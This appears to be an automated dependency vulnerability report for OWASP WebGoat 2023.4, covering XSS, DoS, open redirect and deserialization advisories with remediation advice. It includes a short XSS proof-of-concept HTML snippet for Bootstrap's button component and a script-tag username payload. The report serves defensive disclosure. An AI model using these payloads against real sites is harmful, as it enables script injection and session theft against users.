- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-validation@2.7.1 › org.springframework.boot:spring-boot-starter@2.7.1 › org.yaml:snakeyaml@1.30

Overview

org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.

Affected versions of this package are vulnerable to Arbitrary Code Execution in the `Constructor` class, which does not restrict which types can be deserialized. This vulnerability is exploitable by an attacker who provides a malicious YAML file for deserialization, which circumvents the `SafeConstructor` class.

The maintainers of the library contend that the application's trust would already have had to be compromised or established and therefore dispute the risk associated with this issue on the basis that there is a high bar for exploitation.

Remediation

Upgrade `org.yaml:snakeyaml` to version 2.0 or higher.

References

- BitBucket Changelog
- Bitbucket Commit
- Bitbucket Issue
- BitBucket Issue
- BitBucket PR
- BitBucket PR
- PoC
- Snyk Blog - Technical Deepdive
- Vulnerable Class

More about this vulnerability

MEDIUM SEVERITY

Cross-site Scripting (XSS)

- Package Manager: maven
- Vulnerable module: org.webjars:bootstrap
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and org.webjars:bootstrap@3.3.7

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.webjars:bootstrap@3.3.7

Overview

org.webjars:bootstrap is a WebJar for Bootstrap.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in `data-template`, `data-content` and `data-title` properties of tooltip/popover.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<` and `>` can be coded as `>` in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type		Origin Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user's browser.
DOM-based	Client	The attacker forces the user's browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

- Web servers
- Application servers
- Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents.
- Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade `org.webjars:bootstrap` to version 3.4.1, 4.3.1 or higher.

References

- Bootstrap Blog
- GitHub Commit
- GitHub Commit
- GitHub Issue

More about this vulnerability

MEDIUM SEVERITY

Cross-site Scripting (XSS)

- Package Manager: maven
- Vulnerable module: org.webjars:bootstrap
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and org.webjars:bootstrap@3.3.7

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.webjars:bootstrap@3.3.7

Overview

org.webjars:bootstrap is a WebJar for Bootstrap.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the `tooltip`, `collapse` and `scrollspy` plugins.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker "injects" a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user's browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser's Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<` and `>` can be coded as `>` in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they've been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type		Origin Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.

	Type	Origin Description
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user's browser.
DOM-based	Client	The attacker forces the user's browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

- Web servers
- Application servers
- Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents.
- Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade `org.webjars:bootstrap` to version 3.4.0, 4.1.2 or higher.

References

- Bootstrap Blog
- GitHub Commit
- GitHub Commit
- GitHub Commit
- GitHub Commit
- GitHub Issue
- GitHub Issue
- GitHub Issue
- GitHub Issue
- GitHub PR

More about this vulnerability

MEDIUM SEVERITY

Cross-site Scripting (XSS)

- Package Manager: maven
- Vulnerable module: org.webjars:bootstrap
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and org.webjars:bootstrap@3.3.7

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.webjars:bootstrap@3.3.7

Overview

org.webjars:bootstrap is a WebJar for Bootstrap.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the tooltip `data-viewport` attribute.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker "injects" a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user's browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser's Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `&lt` ; and `>` can be coded as `&gt` ; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they've been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

	Type	Origin Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user's browser.
DOM-based	Client	The attacker forces the user's browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

- Web servers
- Application servers
- Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents.
- Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade `org.webjars:bootstrap` to version 3.4.0 or higher.

References

- GetBootsrap Blog
- GitHub Issue
- GitHub PR

More about this vulnerability

MEDIUM SEVERITY

Cross-site Scripting (XSS)

- Package Manager: maven
- Vulnerable module: org.webjars:bootstrap
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and org.webjars:bootstrap@3.3.7

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.webjars:bootstrap@3.3.7

Overview

org.webjars:bootstrap is a WebJar for Bootstrap.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the `affix` configuration target property.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker "injects" a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user's browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser's Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `&lt` ; and `>` can be coded as `&gt` ; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they've been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

	Type	Origin Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user's browser.

	Type	Origin Description
DOM-based	Client	The attacker forces the user's browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

- Web servers
- Application servers
- Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents.
- Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade `org.webjars:bootstrap` to version 3.4.0 or higher.

References

- GetBootstrap Blog
- GitHub Commit
- GitHub PR
- POC: GitHub Issue

More about this vulnerability

MEDIUM SEVERITY

Cross-site Scripting (XSS)

- Package Manager: maven
- Vulnerable module: org.webjars:bootstrap
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and org.webjars:bootstrap@3.3.7

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.webjars:bootstrap@3.3.7

Overview

org.webjars:bootstrap is a WebJar for Bootstrap.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the `data-target` attribute.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker "injects" a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user's browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser's Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<` and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they've been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

	Type	Origin Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user's browser.
DOM-based	Client	The attacker forces the user's browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.

Type	Origin Description
Mutated	The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

- Web servers
- Application servers
- Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents.
- Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade `org.webjars:bootstrap` to version 3.4.0, 4.0.0-beta.2 or higher.

References

- Bootstrap Blog
- GitHub Commit
- GitHub Commit
- GitHub Issue
- GitHub PR
- GitHub PR

More about this vulnerability

MEDIUM SEVERITY

Cross-site Scripting

- Package Manager: maven
- Vulnerable module: org.webjars:bootstrap
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and org.webjars:bootstrap@3.3.7

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.webjars:bootstrap@3.3.7

Overview

org.webjars:bootstrap is a WebJar for Bootstrap.

Affected versions of this package are vulnerable to Cross-site Scripting through the `data-loading-text` attribute in the button component. An attacker can execute arbitrary JavaScript code by injecting malicious scripts into this attribute.

Note:

This vulnerability is under active investigation and it may be updated with further details.

PoC

```
<input
          id="firstName"
          type="text"
          value="<script>alert('XSS Input Success')</script><span>Loading XSS</span>"
        />
        <button
          class="btn btn-primary input-test"
          data-loading-text="<span>I'm Loading</span>"
          type="button"
        >
          Click Me
        </button>

        <script>
        $(function () {
          $('.input-test').click(function () {
            var inputValue = $('#firstName').val();
            $(this).data('loadingText', inputValue);
            $(this).button('loading', inputValue);
          });
        });
        </script>
```

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<` and `>` can be coded as `>` in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based	Client	The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

- Web servers
- Application servers
- Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents.
- Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade `org.webjars:bootstrap` to version 4.0.0 or higher.

References

- Affected Component
- PoC
- Security Advisory

More about this vulnerability

MEDIUM SEVERITY

Cross-site Scripting (XSS)

- Package Manager: maven
- Vulnerable module: org.thymeleaf.extras:thymeleaf-extras-springsecurity5
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and org.thymeleaf.extras:thymeleaf-extras-springsecurity5@3.0.4.RELEASE

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.thymeleaf.extras:thymeleaf-extras-springsecurity5@3.0.4.RELEASE

Overview

org.thymeleaf.extras:thymeleaf-extras-springsecurity5 is a Modern server-side Java template engine for both web and standalone environments.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) when creating a user with username `<script type=”text/javascript>alert(””);</script>` .

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser's Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<` and `>` can be coded as `>` in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they've been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user's browser.
DOM-based	Client	The attacker forces the user's browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

- Web servers
- Application servers
- Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents.
- Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade `org.thymeleaf.extras:thymeleaf-extras-springsecurity5` to version 3.1.0.M1 or higher.

References

- GitHub Commit
- GitHub Issue
- GitHub PR

More about this vulnerability

MEDIUM SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: org.springframework:spring-webmvc
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-web@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-webmvc@5.3.21

Overview

org.springframework:spring-webmvc is a package that provides Model-View-Controller (MVC) architecture and ready components that can be used to develop flexible and loosely coupled web applications.

Affected versions of this package are vulnerable to Denial of Service (DoS) via MVC controller `@RequestBody byte[]` method parameters.

Note: This vulnerable open source versions are no longer supported and the fixed version 5.3.42 is only available for the commercial release.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `org.springframework:spring-webmvc` to version 6.0.0 or higher.

References

- Security Advisory

More about this vulnerability

MEDIUM SEVERITY

Open Redirect

- Package Manager: maven
- Vulnerable module: org.springframework:spring-web
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-web@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-web@5.3.21

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Open Redirect when `UriComponentsBuilder` is used to parse an externally provided URL and perform validation checks on the host of the parsed URL.

Note: This is the same as CVE-2024-22259 and CVE-2024-22243, but with different input.

Remediation

Upgrade `org.springframework:spring-web` to version 5.3.34, 6.0.19, 6.1.6 or higher.

References

- PoC
- Spring Advisory

More about this vulnerability

MEDIUM SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: org.springframework:spring-web
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-web@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-web@5.3.21

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Denial of Service (DoS) in the form of improper ETag prefix validation when parsing ETags from the `If-Match` or `If-None-Match` request headers. An attacker can exploit this vulnerability to cause denial of service by sending a maliciously crafted conditional HTTP request.

Workaround

Users of older, unsupported versions could enforce a size limit on `If-Match` and `If-None-Match` headers, e.g. through a `Filter`.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload .
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `org.springframework:spring-web` to version 5.3.38, 6.0.23, 6.1.12 or higher.

References

- GitHub Commit
- GitHub Commit
- GitHub Issue
- GitHub PR
- GitHub PR
- Spring Security Advisory

More about this vulnerability

MEDIUM SEVERITY

Allocation of Resources Without Limits or Throttling

- Package Manager: maven
- Vulnerable module: org.springframework:spring-expression
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-web@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-webmvc@5.3.21 › org.springframework:spring-expression@5.3.21

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via a crafted `SpEL` expression.

Remediation

Upgrade `org.springframework:spring-expression` to version 5.2.23.RELEASE, 5.3.26, 6.0.7 or higher.

References

- GitHub Commit
- GitHub Commit
- GitHub Commit
- Vulnerability Advisory

More about this vulnerability

MEDIUM SEVERITY

Allocation of Resources Without Limits or Throttling

- Package Manager: maven
- Vulnerable module: org.springframework:spring-expression
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-web@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-webmvc@5.3.21 › org.springframework:spring-expression@5.3.21

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling when a user provides a very long `SpEL` expression.

Remediation

Upgrade `org.springframework:spring-expression` to version 5.2.24.RELEASE, 5.3.27, 6.0.8 or higher.

References

- GitHub Commit
- GitHub Commit
- GitHub Commit
- Vulnerability Advisory

More about this vulnerability

MEDIUM SEVERITY

Allocation of Resources Without Limits or Throttling

- Package Manager: maven
- Vulnerable module: org.springframework:spring-expression
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-web@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-webmvc@5.3.21 › org.springframework:spring-expression@5.3.21

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling. **Note:** An application is vulnerable when the following is true:

The application evaluates user-supplied SpEL expressions.

Workaround

Evaluation of user-supplied SpEL expressions should be avoided when possible; otherwise, user-supplied SpEL expressions should be evaluated with a `SimpleEvaluationContext` in read-only mode. No other steps are necessary.

Remediation

Upgrade `org.springframework:spring-expression` to version 5.3.39 or higher.

References

- GitHub Commit
- GitHub Commit
- Spring Security Advisory

More about this vulnerability

MEDIUM SEVERITY

Session Fixation

- Package Manager: maven
- Vulnerable module: org.springframework.security:spring-security-web
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-security@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-security@2.7.1 › org.springframework.security:spring-security-web@5.7.2

Overview

